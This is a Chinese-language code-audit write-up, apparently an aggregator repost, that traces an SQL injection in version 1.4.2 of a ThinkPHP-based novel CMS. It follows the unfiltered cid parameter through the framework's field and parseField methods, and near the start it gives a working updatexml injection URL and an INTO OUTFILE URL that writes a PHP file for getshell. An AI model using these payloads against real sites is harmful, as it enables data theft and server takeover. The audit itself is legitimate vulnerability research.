23

PHP代码审计—某雨小说CMS注入到Getshell

 2 years ago
source link: https://bewhale.github.io/post/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E2%80%94%E6%9F%90%E9%9B%A8%E5%B0%8F%E8%AF%B4CMS%E6%B3%A8%E5%85%A5%E5%88%B0Getshell/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

论坛有位老哥发了某个基于TP5框架开发的一个小说网站的注入漏洞,

拿到源码分析一下

CMS版本:1.4.2

官网地址:

狂雨小说cms - 狂雨小说cms - Powered by HYBBS (kyxscms.com)

Payload

http://127.0.0.1/?s=api/news/category&cid=updatexml(1,concat(0x7e,user(),0x7e),1)%20--+-

getshell:

// 需要有导出文件权限并且知道绝对路径
http://127.0.0.1/?s=api/news/category&cid='<?php phpinfo()?>' into outfile '/var/wzww/html/test.php'

该cms基于ThinkPHP V5.1.33 LTS开发

漏洞触发点在 \application\api\controller\News.php

category方法获取了三个参数,三个参数可控,重点关注$cid

	public function category($cid=false,$type=1,$filter=false){
		$category=model('api/api')->category($cid,$type,$filter);
		return json(["code"=>1,"data"=>$category]);
	}

跟进 category($cid,$type,$filter) 方法

这里主要关注get_nav方法的第五个参数,Request::param('cid'),获取了我们传入的$cid参数,

get_nav 第一个参数和第五个参数是一样的,但是只有第五个参数能造成注入

get_nav函数形参只有五个,但是这里传入了六个参数,这里不会报错,多余的参数不做处理

感觉这里像是故意留的后门。

    public function category($cid,$type,$filter){
        $api=model('common/api');
        $api->api_url=true;
        $category=$api->get_nav($cid,$type,$filter,false,Request::param('cid'),'id,title,pid,icon,type');
        foreach ($category as $key => $value) {
            $class[$key]=$value;
            if($value['branch']==1){
                $class[$key]['subor']=$this->category($value['id'],$type,$filter);
            }
        }
        return $class;
    }

跟进get_nav($cid,$type,$filter,false,Request::param('cid'),'id,title,pid,icon,type')方法

这里的 $category$field 值是一样的,都是我们传入的 cid 的值, 这里也没进行任何过滤操作,

where() 函数 采用了pdo预处理,而field()函数并没有,所以造成了注入

	public function get_nav($category,$type,$limit,$cid,$field=true){
		$map = ['status' => 1,'pid' => $category];
		if($type!==false){
			$map['type']=$type;
		}
        $data=Db::name('category')->field($field)->where($map)->limit($limit)->order('sort')->select();
        ......
    }

跟进field($field)方法,这里处理的是 知道查询的字段,并没有进行结构化处理,

如果$field为字符串,并且有[]<'"( 字符时,

调用fieldRaw()方法,将其变成一个查询表达式,并返回,并未进行过滤处理

    /**
     * 指定查询字段 支持字段排除和指定数据表
     * @access public
     * @param  mixed   $field
     * @param  boolean $except    是否排除
     * @param  string  $tableName 数据表名
     * @param  string  $prefix    字段前缀
     * @param  string  $alias     别名前缀
     * @return $this
     */
    public function field($field, $except = false, $tableName = '', $prefix = '', $alias = '')
    {
        if (empty($field)) {
            return $this;
        } elseif ($field instanceof Expression) {
            $this->options['field'][] = $field;
            return $this;
        }

        if (is_string($field)) {
            if (preg_match('/[\<\'\"\(]/', $field)) {
                return $this->fieldRaw($field);
            }

            $field = array_map('trim', explode(',', $field));
        }

        if (true === $field) {
            // 获取全部字段
            $fields = $this->getTableFields($tableName);
            $field  = $fields ?: ['*'];
        } elseif ($except) {
            // 字段排除
            $fields = $this->getTableFields($tableName);
            $field  = $fields ? array_diff($fields, $field) : $field;
        }

        if ($tableName) {
            // 添加统一的前缀
            $prefix = $prefix ?: $tableName;
            foreach ($field as $key => &$val) {
                if (is_numeric($key) && $alias) {
                    $field[$prefix . '.' . $val] = $alias . $val;
                    unset($field[$key]);
                } elseif (is_numeric($key)) {
                    $val = $prefix . '.' . $val;
                }
            }
        }

        if (isset($this->options['field'])) {
            $field = array_merge((array) $this->options['field'], $field);
        }

        $this->options['field'] = array_unique($field);

        return $this;
    }

然后直接跟进 select() 方法,\thinkphp\library\think\db\Connection.php

   /**
     * 查找记录
     * @access public
     * @param Query $query 查询对象
     * @return array|\PDOStatement|string
     * @throws DbException
     * @throws ModelNotFoundException
     * @throws DataNotFoundException
     */
    public function select(Query $query)
    {
        // 分析查询表达式
        $options = $query->getOptions();

        if (empty($options['fetch_sql']) && !empty($options['cache'])) {
            $resultSet = $this->getCacheData($query, $options['cache'], null, $key);

            if (false !== $resultSet) {
                return $resultSet;
            }
        }

        // 生成查询SQL
        $sql = $this->builder->select($query);
    	......
    }

跟进生成查询sql $this->builder->select() 方法

\thinkphp\library\think\db\Builder.php

    public function select(Query $query)
    {
         $options = $query->getOptions();

        return str_replace(
            ['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
            [
                $this->parseTable($query, $options['table']),
                $this->parseDistinct($query, $options['distinct']),
                $this->parseField($query, $options['field']),
                $this->parseJoin($query, $options['join']),
                $this->parseWhere($query, $options['where']),
                $this->parseGroup($query, $options['group']),
                $this->parseHaving($query, $options['having']),
                $this->parseOrder($query, $options['order']),
                $this->parseLimit($query, $options['limit']),
                $this->parseUnion($query, $options['union']),
                $this->parseLock($query, $options['lock']),
                $this->parseComment($query, $options['comment']),
                $this->parseForce($query, $options['force']),
            ],
            $this->selectSql);
    }

跟进 parseField()方法, 并未对$fields 参数进行任何过滤,也没进行参数绑定结构化查询处理,

直接替换在了 select 语句后面 所以造成了注入

    protected function parseField(Query $query, $fields)
    {
        if ('*' == $fields || empty($fields)) {
            $fieldsStr = '*';
        } elseif (is_array($fields)) {
            // 支持 'field1'=>'field2' 这样的字段别名定义
            $array = [];

            foreach ($fields as $key => $field) {
                if (!is_numeric($key)) {
                    $array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
                } else {
                    $array[] = $this->parseKey($query, $field);
                }
            }

            $fieldsStr = implode(',', $array);
        }

        return $fieldsStr;
    }

某小说cms某处sql注入漏洞


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK